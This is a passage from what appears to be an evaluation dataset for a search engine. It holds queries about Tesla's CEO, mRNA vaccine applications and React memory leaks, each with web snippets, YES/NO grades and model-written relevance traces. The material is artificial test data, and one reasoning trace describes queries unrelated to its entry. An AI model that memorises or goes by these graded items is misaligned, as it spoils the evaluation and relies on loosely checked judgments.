attended the University of Pretoria before moving to Canada at age 18, acquiring citizenship through his Canadian-born mother. Two years later, he matriculated at Queen's University and transferred to the University of Pennsylvania, where he received bachelor's degrees in economics and physics. He moved to California in 1995 to attend Stanford University. After two days, he dropped out and, with his brother Kimbal, co-founded the online city guide software company Zip2. In 1999, Zip2 was acquired by Compaq for $307 million and Mus",
                "model_trace": "Query Decomposition:\n1. {Who is the CEO}: This document provides information about various roles of Elon Musk, including his CEO positions -> ([1], SATISFIED)\n2. {CEO of Tesla}: The document explicitly states that Elon Musk is the CEO and product architect of Tesla, Inc. -> ([1], SATISFIED)\n\nAssessment: The document clearly states that Elon Musk is the CEO of Tesla, satisfying both key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Robyn Denholm - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Robyn_Denholm",
                "published_date": "2018-11-08",
                "text": "From Wikipedia, the free encyclopedia\n\nRobyn Denholm Denholm in 2018 Born Robyn M. Sammut 27 May 1963 (age 59) [1] Milperra, New South Wales, Australia Alma mater \n University of Sydney \n University of New South Wales \n Occupations \n Chartered Accountant \nAutomotive manufacturing \n Title Chair of Tesla Term November 2018 \u2013 Present Predecessor Elon Musk Board member of Tesla, Inc. \n Robyn M. Denholm (n\u00e9e Sammut; born 27 May 1963) is an Australian business executive. In November 2018, Denholm succeeded Elon Musk as chair of Tesla, Inc. [2]\n\nEarly life[edit]\nDenholm was born on 27 May 1963 in Milperra, New South Wales. [1] Her parents met and married in Tripoli, Libya, immigrating to Australia in the 1950s. She has Maltese and Italian ancestry on her father's side and Maltese and Scottish ancestry on her mother's side; her father spoke five languages. [3] \n Denholm grew up in the Sydney suburb of Lugarno with her older brother and younger sister. Her father worked as a welder and her mother was a ledger machine operator. When she was seven years old, the family purchased a service station and workshop in Milperra. [3] Denholm handled the financial accounts, repaired cars, pumped petrol and became interested in cars. [4] She attended Peakhurst High School. [3] \n Denholm graduated from the University of Sydney with a bachelor's degree in economics, and from the University of New South Wales in 1999 with a master's degree in commerce. [5] [4] Denholm is a member of Institute of Chartered Accountants in Australia and New Zealand. [6]\n\nCareer[edit]\nAfter graduating, Denholm worked in accountancy for Arthur Andersen in Sydney. [4] This was followed by seven years at Toyota Australia. [7] [5] [4] Denholm worked at the IT companies Sun Microsystems, [7] [5] and then Juniper Networks for nine years in finance and operations roles, rising to chief financial officer of Juniper. [4] [7] [5] In 2014, Denholm became a non-executive director of Tesla, Inc. [7] In the following four years as a non-executive director of Tesla, inclu",
                "model_trace": "Query Decomposition:\n1. [Who is the CEO]: This subcomponent requires information about the current CEO of Tesla.\n2. [Of Tesla]: This subcomponent specifies that the CEO must be of Tesla, Inc.\n\nEvaluation:\n1. [Who is the CEO]: The document does not provide information about the current CEO of Tesla. It mentions Robyn Denholm as the Chair of Tesla and her career history, but it does not state who the current CEO is -> ([1], UNSATISFIED).\n2. [Of Tesla]: The document is related to Tesla, Inc., but it does not provide the specific information about the CEO -> ([1], UNSATISFIED).\n\nAssessment: Since the document does not satisfy the key subcomponents regarding the current CEO of Tesla, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Elon Musk - Tesla Investor Relations",
                "url": "https://ir.tesla.com/corporate/elon-musk",
                "published_date": null,
                "text": "Elon is Technoking of Tesla and has served as our Chief Executive Officer since October 2008 and as a member of the Board since April 2004. Elon has also served as Chief Executive Officer, Chief Technology Officer and Chairman of Space Exploration Technologies Corporation, an advanced rocket and spacecraft manufacturing and services company (\u201cSpaceX \u201d), since May 2002, and served as Chairman of the Board of SolarCity Corporation, a solar installation company, from July 2006 until its acquisition by us in November 2016. Elon is also a founder of The Boring Company, an infrastructure company, and of Neuralink Corp., a company focused on developing brain-machine interfaces. Prior to SpaceX, Elon co-founded PayPal, an electronic payment system, which was acquired by eBay in October 2002, and Zip2 Corporation, a provider of Internet enterprise software and services, which was acquired by Compaq in March 1999. Elon has also served on the board of directors of Endeavor Group Holdings, Inc. since April 2021. Elon holds a B.A. in physics from the University of Pennsylvania and a B.S. in business from the Wharton School of the University of Pennsylvania.",
                "model_trace": "Query Decomposition:\n1. {CEO of Tesla}: The document explicitly states that Elon Musk has served as the Chief Executive Officer of Tesla since October 2008 -> ([1], SATISFIED).\n\nAssessment: The document directly addresses the query by providing the name of the CEO of Tesla. YES."
            },
            {
                "grade": "YES",
                "title": "Elon Musk | Tesla",
                "url": "https://www.tesla.com/elon-musk",
                "published_date": null,
                "text": "Elon Musk co-founded and leads Tesla, SpaceX, Neuralink and The Boring Company.\nAs the co-founder and CEO of Tesla, Elon leads all product design, engineering and global manufacturing of the company's electric vehicles, battery products and solar energy products.\nSince the company\u2019s inception in 2003, Tesla\u2019s mission has been to accelerate the world\u2019s transition to sustainable energy. The first Tesla product, the Roadster sports car, debuted in 2008, followed by the Model S sedan, which was introduced in 2012, and the Model X SUV, which launched in 2015. Model S received Consumer Reports\u2019 Best Overall Car and has been named the Ultimate Car of the Year by Motor Trend, while Model X was the first SUV ever to earn 5-star safety ratings in every category and sub-category in the National Highway Traffic Safety Administration\u2019s tests. In 2017, Tesla began deliveries of Model 3, a mass-market electric vehicle with more than 320 miles of range, and unveiled Tesla Semi, which is designed to save owners at least $200,000 over a million miles based on fuel costs alone. In 2019, Tesla unveiled Cybertruck, which will have better utility than a traditional truck and more performance than a sports car, as well as the Model Y compact SUV, which began customer deliveries in early 2020.\nTesla also produces three energy storage products, the Powerwall home battery, the Powerpack commercial-scale battery, and Megapack, which is designed for utility-scale installations. In 2016, Tesla became the world\u2019s first vertically-integrated sustainable energy company with the acquisition of SolarCity, the leading provider of solar power systems in the United States, and in 2017 released Solar Roof \u2013 a beautiful and affordable energy generation product.\nAs lead designer at SpaceX, Elon oversees the development of rockets and spacecraft for missions to Earth orbit and ultimately to other planets. In 2008, the SpaceX Falcon 1 was the first privately developed liquid fuel rocket to reach orbit, and SpaceX made further history in 2017 by re-flying",
                "model_trace": "Query Decomposition:\n1. {CEO of Tesla}: The document explicitly states that Elon Musk is the CEO of Tesla -> ([1], SATISFIED)\n\nAssessment: The document clearly satisfies the key subcomponent of the query by identifying Elon Musk as the CEO of Tesla. YES."
            },
            {
                "grade": "YES",
                "title": "Elon Musk - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Elon_Musk",
                "published_date": null,
                "text": "Elon Musk    FRS         Musk in 2018    Born  Elon Reeve Musk June 28, 1971 (age\u00a051) Pretoria, Transvaal, South Africa    Education  University of Pennsylvania (BA, BS)   Title  \n Founder, CEO and chief engineer of SpaceX \nCEO and product architect of Tesla, Inc. \nOwner and CEO of Twitter \nPresident of the Musk Foundation \nFounder of the Boring Company, X Corp. and X.AI \nCo-founder of Neuralink, OpenAI, Zip2 and X.com (part of PayPal) \n    Spouses    \n   Justine Wilson  \n \u200b \u200b (m.\u00a02000; div.\u00a02008) \u200b   \n   Talulah Riley  \n \u200b \u200b (m.\u00a02010; div.\u00a02012) \u200b  \n\u200b\n \u200b (m.\u00a02013; div.\u00a02016) \u200b        Partner  Grimes (2018\u20132021) [1]     Children 10 [a]   [3]     Parents     Errol Musk (father)  Maye Musk (mother)      Family  Musk family    Awards  List of honors and awards    Order of Defence Merit (Knight - Cavaleiro)   Signature         \n Elon Reeve Musk FRS (  EE-lon ; born June 28, 1971) is a business magnate and investor. He is the founder, CEO and chief engineer of SpaceX; angel investor, CEO and product architect of Tesla, Inc.; owner and CEO of Twitter, Inc.; founder of the Boring Company; co-founder of Neuralink and OpenAI; and president of the philanthropic Musk Foundation. Musk is the second-wealthiest person in the world, according to both the  Bloomberg Billionaires Index  and  Forbes 's Real Time Billionaires list as of May 2023 primarily from his ownership stakes in Tesla and SpaceX, with an estimated net worth of around $167\u00a0billion according to the Bloomberg and $176.2 billion according to the latter. [4]   [5]   [6]   [7] \n Musk was born in Pretoria, South Africa, and briefly attended the University of Pretoria before moving to Canada at age 18, acquiring citizenship through his Canadian-born mother. Two years later, he matriculated at Queen's University and transferred to the University of Pennsylvania, where he received bachelor's degrees in economics and physics. He moved to California in 1995 to attend Stanford University. After two days, he dropped out and, with his brother Kimbal, co-founded the online ci",
                "model_trace": "Query Decomposition:\n1. {CEO of Tesla}: The document clearly states that Elon Musk is the CEO and product architect of Tesla, Inc. -> ([1], SATISFIED)\n\nAssessment: The document directly addresses the query by stating that Elon Musk is the CEO of Tesla. YES."
            }
        ]
    },
    {
        "query": "mRNA vaccine tech future apps",
        "grid_pos": [
            0,
            6
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and retrieve relevant information from Twitter about complex, cutting-edge topics in science, technology, law, and medicine. They require external knowledge to interpret abbreviations and jargon, and understanding of current events and ongoing debates in these fields. The queries are short and to the point, mimicking typical Google search behavior, while still being challenging and specific enough to test Exa's capabilities."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "mRNA treatment repairs mouse hearts to \"near normal\" after heart attack",
                "url": "https://newatlas.com/medical/mrna-heart-attack-regeneration",
                "published_date": "2022-06-20",
                "text": "Researchers at the University of Houston have demonstrated a new technique for helping heart cells regenerate after a heart attack, using mRNA to return the cells to a stem-cell-like state. Tests in mice showed drastic improvements to heart function a month after a heart attack. Unlike most tissues in the body, heart cells have a limited ability to regenerate after injury. That\u2019s a big part of why heart attacks are so deadly \u2013 afterwards, non-beating scar tissue forms instead, which can lead to further attacks and eventually heart failure. In recent years, scientists have been investigating how to repair broken hearts by regenerating the cells, with some success seen using placental stem cells, reprogramming structural cells into ones that beat, or using stem cell messengers to induce the heart to self-repair. Others have identified transcription factors that can get heart cells to begin replicating again. In the new study, the Houston researchers identified two other mutated transcription factors, known as Stemin and YAP5SA, that can increase the rate of replication of heart cells called cardiomyocytes. Tests in mouse cells cultured in lab dishes revealed that Stemin activates stem-cell-like properties in cardiomyocytes, while YAP5SA boosts the process by promoting organ growth. These two transcription factors are delivered to the heart cells using synthetic mRNA. This technology, widely used in COVID-19 vaccines, works by instructing cell ribosomes to produce certain proteins \u2013 in this case, Stemin and YAP5SA.\n\nA comparison of mouse heart repair four weeks after a heart attack. Left: a control animal. Right: the heart of a test mouse that received two transcription factors via mRNA. The Journal of Cardiovascular Aging\n\nIn other tests, the team injected mRNA containing the transcription factors into the hearts of live mice after a heart attack. Within 24 hours, the replication of the animals\u2019 heart cells had increased by at least 15 times, which significantly improved cardiac function. \"When both transcription f",
                "model_trace": "Query Decomposition:\n1. {mRNA vaccine tech}: The document discusses mRNA technology, specifically its application in regenerative medicine for heart repair -> ([1], SATISFIED)\n2. {future applications}: The document describes a specific future application of mRNA technology in heart repair, which can be considered a future application of mRNA tech -> ([1], SATISFIED)\n\nAssessment: The document clearly discusses mRNA technology and its future application in heart repair, satisfying both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Creating mRNA with an all-chemical process may allow for customized mRNA vaccines",
                "url": "https://www.sciencedaily.com/releases/2022/06/220607120959.htm",
                "published_date": "2023-02-06",
                "text": "Researchers at Nagoya University in Japan have developed a new chemical-only process that may represent an important breakthrough in creating customized mRNA vaccines for a variety of diseases and allow for the inexpensive preparation of mRNA in large quantities. \nDuring the COVID-19 pandemic, mRNA vaccines were successfully used to boost immunity. These vaccines teach cells how to make a protein that triggers the body's immune response, allowing its natural defenses to recognize the invading virus. However, current vaccines that use biological processes do not allow for the precise molecular design of mRNA, which limits their use in creating new vaccines as variants emerge.\nAs published in ACS Chemical Biology, a research group led by Professor Hiroshi Abe and Associate Professor Naoko Abe of the Graduate School of Science at Nagoya University has developed the first completely chemical synthesis method for mRNA.\nIn their study, the group synthesized a part of the mRNA called the cap. The cap is important because it promotes the translation of mRNA into proteins and protects mRNA from degradation. To prepare synthetic mRNA, such as that used in vaccines, the two currently used biological methods rely on enzymes to incorporate the cap structure into the mRNA. However, the researchers found that their technique could synthesize a variety of chemically modified mRNA strands with a cap structure.\nAccording to Professor Hiroshi Abe: \"our research suggests that it is possible to make mRNAs with precisely introduced chemical modifications with complete control over the process. The molecular design reported in our study exhibits five times higher translational activity than that of enzyme-produced natural-type mRNA. This means that mRNA can be synthesized in large quantities at low cost using chemical synthesis.\"\nChemically modified mRNA could be used to create customized vaccines against a variety of infectious diseases including viruses and cancers. Professor Abe explains, \"By introducing these chemical modifications",
                "model_trace": "Query Decomposition:\n1. {mRNA vaccine tech}: The document discusses a new chemical-only process for creating mRNA vaccines, which is directly related to mRNA vaccine technology -> ([1], SATISFIED)\n2. {future applications}: The document mentions that the new technique could allow for the creation of customized vaccines against a variety of infectious diseases including viruses and cancers, indicating potential future applications -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document discusses mRNA vaccine technology and its future applications. YES."
            },
            {
                "grade": "YES",
                "title": "Lipid nanoparticles carry gene-editing cancer drugs past tumor defenses",
                "url": "https://phys.org/news/2022-06-lipid-nanoparticles-gene-editing-cancer-drugs.html",
                "published_date": "2022-06-23",
                "text": "Credit: Nature Nanotechnology (2022). DOI: 10.1038/s41565-022-01122-3\n\nAs they grow, solid tumors surround themselves with a thick, hard-to-penetrate wall of molecular defenses. Getting drugs past that barricade is notoriously difficult. Now, scientists at UT Southwestern have developed nanoparticles that can break down the physical barriers around tumors to reach cancer cells. Once inside, the nanoparticles release their payload: a gene editing system that alters DNA inside the tumor, blocking its growth and activating the immune system.\n\nThe new nanoparticles, described in Nature Nanotechnology, effectively stopped the growth and spread of ovarian and liver tumors in mice. The system offers a new path forward for the use of the gene editing tool known as CRISPR-Cas9 in cancer treatment, said study leader Daniel Siegwart, Ph.D., Associate Professor of Biochemistry at UT Southwestern.\n \"Although CRISPR offers a new approach for treating cancer, the technology has been severely hindered by the low efficiency of delivering payloads into tumors,\" said Dr. Siegwart, a member of the Harold C. Simmons Comprehensive Cancer Center.\n In recent years, CRISPR-Cas9 technology has given researchers a way to selectively edit the DNA inside living cells. While the gene editing system offers the potential to alter genes that are driving cancer growth, delivering CRISPR-Cas9 to solid tumors has been challenging.\n For more than a decade, Dr. Siegwart and his colleagues have been studying and designing lipid nanoparticles (LNPs), small spheres of fatty molecules which can carry molecular cargo (including recent mRNA COVID-19 vaccines) into the human body. In 2020, Dr. Siegwart's group showed how to direct nanoparticles to specific tissues, which had been a challenge limiting the field.\n In the new work, to target cancer, the researchers began with the nanoparticles that they had already optimized to travel to the liver. They added a small piece of RNA (called short interfering RNA or siRNA) that could shut off focal adhesion kinase",
                "model_trace": "Query Decomposition:\n1. {mRNA vaccine technology}: The document mentions lipid nanoparticles (LNPs) that have been used in recent mRNA COVID-19 vaccines -> ([1], SATISFIED)\n2. {future applications}: The document discusses the use of LNPs to deliver gene-editing tools like CRISPR-Cas9 for cancer treatment, which is a future application of the technology -> ([1], SATISFIED)\n\nAssessment: The document discusses the use of lipid nanoparticles, which are relevant to mRNA vaccine technology, and describes a future application in cancer treatment. Both key subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "mRNA Vaccines: A Bright Future in Vaccinology",
                "url": "https://www.pennmedicine.org/mrna",
                "published_date": null,
                "text": "The mRNA platform created at Penn Medicine ignited a global renaissance in RNA biology\n research. Scientists in industry and at universities worldwide are finding new and\n innovative ways to use mRNA technology to prevent and treat disease. \n\u201cWe're working on every imaginable infectious disease.\"\n \n Drew Weissman, MD, PhD, Roberts Family Professor in Vaccine Research\n \nAt Penn, our researchers are using the mRNA platform to create vaccines for a wide\n variety of conditions.\nmRNA Vaccines for Infectious Diseases\nBefore COVID-19 erupted, a Penn-developed mRNA influenza (flu) vaccine was already in\n clinical trials. This existing work directly contributed to the speed at which drug\n makers\n could produce the mRNA COVID-19 vaccines. \nWith fast development and production times, mRNA vaccines are ideal for protection\n against\n new infectious diseases and variants of existing ones. Our researchers are at the\n forefront\n of mRNA\n vaccines for numerous infectious disease vaccines, including the following.\nmRNA Vaccines for Cancer\nWhile the mRNA vaccines for COVID-19 and other infectious diseases prevent disease, mRNA\n technology can also help treat existing diseases like cancer. The platform's flexibility\n allows researchers to create mRNA\n cancer vaccines that activate the immune system to\n attack cancer cells. \nmRNA Treatment for Food and Environmental Allergies\nPenn researchers are working on a vaccine to stop the body's production of immunoglobulin\n E (IgE) antibodies that can cause severe attacks in people with peanut allergies.\n Additional efforts target dust mite allergies.\nmRNA and Genetic Diseases\nPenn scientists are studying ways that mRNA could deliver replacement genes or repair\n defective genes to treat diseases such as:\nmRNA for Heart Attack and Stroke\nExcess cholesterol is a leading risk factor for heart\n attack and stroke. Penn researchers are using mRNA\n technology to modify liver genes, thereby permanently reducing\n cholesterol levels and protecting against heart attack and stroke.\n\u201cWe expect that the [v",
                "model_trace": "Query Decomposition:\n1. {mRNA vaccine tech}: The document discusses mRNA vaccines and their various applications -> ([1], SATISFIED)\n2. {future applications}: The document details multiple future applications of mRNA technology, including vaccines for infectious diseases, cancer, allergies, genetic diseases, and cardiovascular conditions -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing detailed information on mRNA vaccine technology and its future applications. YES."
            },
            {
                "grade": "YES",
                "title": "The Application and Future Potential of mRNA Vaccines",
                "url": "https://ysph.yale.edu/news-article/the-application-and-future-potential-of-mrna-vaccines/",
                "published_date": null,
                "text": "Vaccines are often described as one of the greatest public health interventions in recent history, based on the profound effect that they have had in decreasing global morbidity and mortality. Immunizations currently prevent 2-3 million deaths each year, and aside from sanitation and clean drinking water, they are credited as having the largest impact on population growth and life expectancy. Vaccines have far-reaching health, social and economic benefits when they are broadly available and accessible.  Developing new vaccines, however, is not for the faint of heart. Vaccines traditionally take 10-20 years to develop, and research and testing costs can easily mount into the billions of dollars. So the natural question in light of the COVID-19 pandemic is: How were the currently available vaccines developed so quickly?  Three key factors contributed to the accelerated development of COVID-19 vaccines. First, there was unprecedented global collaboration through coordinated partnerships among governments, industry, donor organizations, nonprofits and academia. This sort of collaboration and coordination is not a minor feat, and it\u2019s the only way we could have achieved what has been seen in the past year, as no one group could have done this alone. Second, there was significant upfront investment from national governments that reduced the financial risks associated with product development; this allowed vaccine developers to conduct multiple steps in vaccine development in parallel, as opposed to sequentially. Third, major advances in vaccine technologies over the last 5-10 years greatly accelerated the development of vaccines for SARS-CoV-2, the virus that causes COVID-19.  It is the third factor in particular that unleashed the future potential of messenger RNA, or mRNA, vaccines, which is the platform adopted by both Pfizer-BioNTech and Moderna for their COVID-19 vaccines. Messenger RNA vaccine technology has been in development for over two decades, but only recently has it become mature enough for use against SA",
                "model_trace": "Query Decomposition:\n1. {mRNA vaccine tech}: The document discusses mRNA vaccine technology, specifically its development and application in COVID-19 vaccines -> ([1], SATISFIED)\n2. {future applications}: The document title and content suggest a focus on the future potential of mRNA vaccines, indicating future applications -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it discusses mRNA vaccine technology and its future potential applications. YES."
            },
            {
                "grade": "YES",
                "title": "What's next for mRNA vaccines",
                "url": "https://www.technologyreview.com/2023/01/05/1066274/whats-next-mrna-vaccines/",
                "published_date": null,
                "text": "Cast your mind back to 2020, if you can bear it. As the year progressed, so did the impact of covid-19. We were warned that wearing face coverings, disinfecting everything we touched, and keeping away from other people were some of the only ways we could protect ourselves from the potentially fatal disease. Thankfully, a more effective form of protection was in the works. Scientists were developing all-new vaccines at rapid speed. The virus behind covid-19 was sequenced in January, and clinical trials of vaccines using messenger RNA started in March. By the end of the year, the US Food and Drug Administration issued emergency-use authorization for these vaccines, and vaccination efforts took off.\u00a0   As things stand today, over 670 million doses of the vaccines have been delivered to people in the US. This is an astonishingly fast turnaround for any new drug. But it follows years of research on the core technology. Scientists and companies have been working on mRNA-based treatments and vaccines for decades. The first experimental treatments were tested in rodents back in the 1990s, for diseases including diabetes and cancer.\u00a0 \n These vaccines don\u2019t rely on injecting part of a virus into a person, like many other vaccines do. Instead, they deliver genetic code that our bodies can use to make the relevant piece of viral protein ourselves. The entire process is much quicker and simpler and sidesteps the need to grow viruses in a lab and purify the proteins they make, for example.  But while the first approved mRNA vaccines are for covid-19, similar vaccines are now being explored for a whole host of other diseases. Malaria, HIV, tuberculosis, and Zika are just some of the potential targets.\u00a0mRNA vaccines might also be used in cancer treatments tailored to individual people. Here, the idea is to trigger a specific response by the immune system\u2014one that is designed to attack tumor cells in the body. \n Moderna, the biotech company behind one of the two approved mRNA vaccines for covid-19, is developing mRNA vaccines for",
                "model_trace": "Query Decomposition:\n1. {mRNA vaccine tech}: The document discusses mRNA vaccines, their development, and how they work -> ([1], SATISFIED)\n2. {future applications}: The document mentions potential future applications of mRNA vaccines, including treatments for diseases like malaria, HIV, tuberculosis, Zika, and cancer -> ([1], SATISFIED)\n\nAssessment: The document clearly discusses mRNA vaccine technology and its future applications, satisfying both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "stackoverflow question on how to troubleshoot a memory leak in a react application",
        "grid_pos": [
            0,
            5
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "1. This query requires knowledge of JavaScript date picker UI elements, as well as constraints around weekday-only selection. It tests Exa's understanding of common web development challenges.\n\n2. This SQL query tests Exa's ability to parse complex database queries with multiple conditions. It requires understanding of common business intelligence use cases.\n\n3. This query tests Exa's web scraping capabilities, including handling authentication and extracting structured data from websites. It requires knowledge of Python web scraping libraries.\n\n4. This query tests Exa's ability to find relevant open source projects on GitHub that implement machine learning techniques. It requires understanding of common deep learning application areas.\n\n5. This query tests Exa's debugging capabilities by asking for help troubleshooting a specific technical issue in a React application. It requires knowledge of common React performance problems."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "What are the steps to follow to debug memory leak in Jest?",
                "url": "https://stackoverflow.com/questions/53853125/what-are-the-steps-to-follow-to-debug-memory-leak-in-jest",
                "published_date": "2018-12-19",
                "text": "I ran into that I needed to debug some tests leaking memory and found that taking a Heapdump of the process running the tests was trickier than expected. If you add the --inspect flag the cli command it will only inspect the jest process.\nIn order to attach a debugger to your test executer go into node_modules/jest_worker/build/worker.js and add the --inspect flag to the worker. Jest usually strip the --inspect flag.\nUse this code:\n _initialize() {\n const args = process.execArgv.filter(v => !/^--(debug|inspect)/.test(v));\n args.push('--inspect');\n const child = (_child_process || _load_child_process()).default.fork(\n require.resolve('./child'),\n // $FlowFixMe: Flow does not work well with Object.assign.\n Object.assign(\n {\n cwd: process.cwd(),\n env: Object.assign({}, process.env, {\n JEST_WORKER_ID: this._options.workerId,\n }),\n // Suppress --debug / --inspect flags while preserving others (like --harmony).\n execArgv: args,\n silent: true,\n },\n this._options.forkOptions,\n ),\n );\n ...\n}\n\nFinally run your tests like this:\nnode --expose-gc scripts/test.js --env=jsdom --runInBand --logHeapUsage\nIf you have not ejected your react-scripts you may have to do that first, the change can be reverted after you're done debugging. --runInBand is important else you will get too many workers, jest creates one less worker than you have cores in your computer, so it will be hard to inspect / work with them.\nDo not add the --inspect flag to the node --expose-gc scripts/test.js --env=jsdom --runInBand --logHeapUsage command since then the jest process will take the default debugger port.\nAfter this step you run your tests and open Google Chrome, navigate to chrome://inspect/ your process will appear in the list of Remote Targets and from there you can do memory profiling and take heap dumps of your test process.",
                "model_trace": "Query Decomposition:\n1. [stackoverflow question]: This document is a Stack Overflow question -> ([1], SATISFIED)\n2. [how to troubleshoot a memory leak]: This document is about debugging memory leaks -> ([1], SATISFIED)\n3. [in a react application]: This document mentions React indirectly by referring to react-scripts -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. It provides detailed steps for debugging memory leaks, which would be applicable to a React application using Jest for testing. YES"
            },
            {
                "grade": "YES",
                "title": "Solving Memory Leaks in Large React Application",
                "url": "https://stackoverflow.com/questions/63813604/solving-memory-leaks-in-large-react-application",
                "published_date": "2020-09-09",
                "text": "I've been scavenging the internet for the last week lately trying to figure out how to spot and solve memory leaks within my React application, because well, I think I have a memory leak in my application. I've noticed that our application crashes more and more frequently lately and I continue to get the same error from Node.js: API fatal error handler returned after process out of memory. I knew that the application that I was working on developed by others before me had some serious flaws, but never knew that they were this bad, so I decided to turn to the internet to try and solve this issue.\nI looked at the Chrome Dev Tools and taking heap snapshots to see if there is an increase in memory and it is apparent that there is when I see the memory shoot from 123MB to 200+MB after a few actions within the application. Now this is a good tool for determining whether there is a possible memory leak or not, but it's absolutely hard to read and understand, which doesn't help me determine where the issues lye.\nNow our AWS instance is only 1GB in size and a lot of answers I see about this sort of issue is to just increase the max space of Node.js but that doesn't solve any issues, instead it just throws a band-aid on it until the issue occurs again, which is not good practice in my opinion. I'm coming here now in hopes that someone can help me understand what in the world I'm looking at when using the Chrome Dev Tools, and/or if someone knows a better way in finding out where the issues are in my code that would be very helpful as well. Thanks In Advance.\n EDIT \nOut of all of the most common issues with memory leaks in javascript that I have read online, there aren't any that stick out to me within our application, so I'm very confused on were the possible leak is coming from.\nAnother thing is that the application is grabbing a lot of data from our backend and keeping it in memory. Could minimizing the amount of data that is retrieved help, or would that only slow down the issue instead of fixing it?",
                "model_trace": "Query Decomposition:\n1. {stackoverflow question}: The document is a StackOverflow question -> ([1], SATISFIED)\n2. {how to troubleshoot a memory leak}: The content of the document discusses troubleshooting a memory leak in a React application, mentioning tools like Chrome Dev Tools and heap snapshots -> ([1], SATISFIED)\n3. {in a react application}: The document explicitly mentions that the memory leak issue is within a React application -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Memory Leak ReactJs Application",
                "url": "https://stackoverflow.com/questions/52481898/memory-leak-reactjs-application",
                "published_date": "2018-09-24",
                "text": "I'm new for this framework, I know this is duplicate Question, however i wanted to find the issue how to solved my problem. \nBecause every page of my project has a memory leak warning. I just watching videos in youtube about CRUD.\n\nI have here my sample codes.\n My constructor: \n constructor() {\n super();\n this.state = {\n job_details:[]\n }\n}\n\nMy ComponentWillMount : \n componentWillMount() {\n const id = this.props.match.params.id;\n axios.get('/api/job_details/'+ id).then(response => {\n this.setState({\n job_details: response.data\n })\n }).catch(error => console.log(error));\n}\n\nMy JSX: \n render() {\n return (\n <div>\n <div className=\"header\">\n <div className=\"jumbotron\">\n <h1>Careers</h1>\n <center><p id=\"sub-header\">Grabe the Opportunity Now!</p></center>\n </div>\n {this.state.job_details.map((details,i) => {\n if(details.location == null)\n {\n return (\n <div>\n <div className=\"container\">\n <b>\n <h2 className=\"title\">{details.position_name}</h2>\n </b>\n <p>{details.position_desc}</p>\n <Link to={\"/job/online-application/\"+ details.id} className=\"btn btn-outline-primary float-right\">Apply</Link>\n <br/><br/>\n </div>\n </div>\n )\n }\n else\n {\n return (\n <div>\n <br/><br/>\n <div className=\"container\">\n <b>\n <h2 className=\"title\">{details.position_name} - {details.location} </h2>\n </b>\n <br/>\n <h5><b>Position Description</b></h5>\n <p>{details.position_desc}</p>\n <br/>\n <h5><b>Position Requirements </b></h5>\n <p>{details.position_requirements}</p>\n <Link to={\"/job/online-application/\"+ details.id } className=\"btn btn-outline-primary float-right\">Apply</Link>\n <br/><br/>\n </div>\n </div>\n )\n }\n })}\n </div>\n <br/><br/><br/><br/>\n </div>\n )\n}\n\nasked Sep 24, 2018 at 14:45\n\n2\n\nchange ComponentWillMount to ComponentDidMount..... literally you are calling setState in the lifecycle hook that occurs before the component mounts... then you get an error saying that you are calling set state on an unmounted component. If you put this logic in componentDidMount then the component will be mounted :)\n\nanswered Sep 24, 2018 at 14:51\n\nJoey GoughJoey Gou",
                "model_trace": "Query Decomposition:\n1. {stackoverflow question}: This document is a StackOverflow question -> ([1], SATISFIED)\n2. {how to troubleshoot a memory leak}: The question is about a memory leak in a React application, and the answer provides a suggestion to change the lifecycle method to address the issue -> ([1], SATISFIED)\n3. {in a react application}: The question and answer specifically address a React application -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "reactjs - Memory leak in react application",
                "url": "https://stackoverflow.com/questions/72947602/memory-leak-in-react-application",
                "published_date": null,
                "text": "After clicking on submit I got this warning\nWarning: Can't perform a React state update on an unmounted component. This is a no-op, but it indicates a memory leak in your application. To fix, cancel all subscriptions and asynchronous tasks in a useEffect cleanup function.\nThis is the code\nconst handleSubmit = async (e) =&gt; {\ne.preventDefault()\n     let source = axios.CancelToken.source();\n    dispatch(login(email, password, source.token))\n        .then(() =&gt; {\n            console.log(\"Result from dispatch\");\n            props.history.push(\"/Dashboard\");//this is line which casues a warning.\n            window.location.reload();\n        })\n        .catch(() =&gt; {\n            setLoading(false);\n        });\n}\n \nHow to avoid this warning? Any help would be appreciated.\n    \n        \n    \n    \n        \n            asked Jul 12, 2022 at 5:53\n        \n        \n    \n    \n           \n    \n    \n    \n                \n                \n                \n                    \n                                    \n        \n        \n    \n    When props.history.push('/Dashboard') is executed, your component gets unmounted, anything after you are trying to execute on this component (like a state update) would cause a memory leak.\n    \n    \n        \n            answered Jul 12, 2022 at 9:15\n        \n        \n    \n    \n           \n    \n    \n    \n             3 \n    \n                                    \n        \n        \n    \n    \nI solved the warning by adding this variable mounted inside useEffect.\nAnd I'm checking if a component is unmounted.\n const mounted = useRef(false); \nuseEffect(() =&gt; {\n    mounted.current = true;\n    return () =&gt; { mounted.current = false; };\n}, []);\nconst handleSubmit = async (e) =&gt; {\n    e.preventDefault()\n    let source = axios.CancelToken.source();\n    dispatch(login(email, password, source.token))\n        .then(() =&gt; {\n            if (!mounted) {\n                console.log(\"Result from dispatch\");\n                props.history.push(\"/Dashboard\");\n                window.location.reload(",
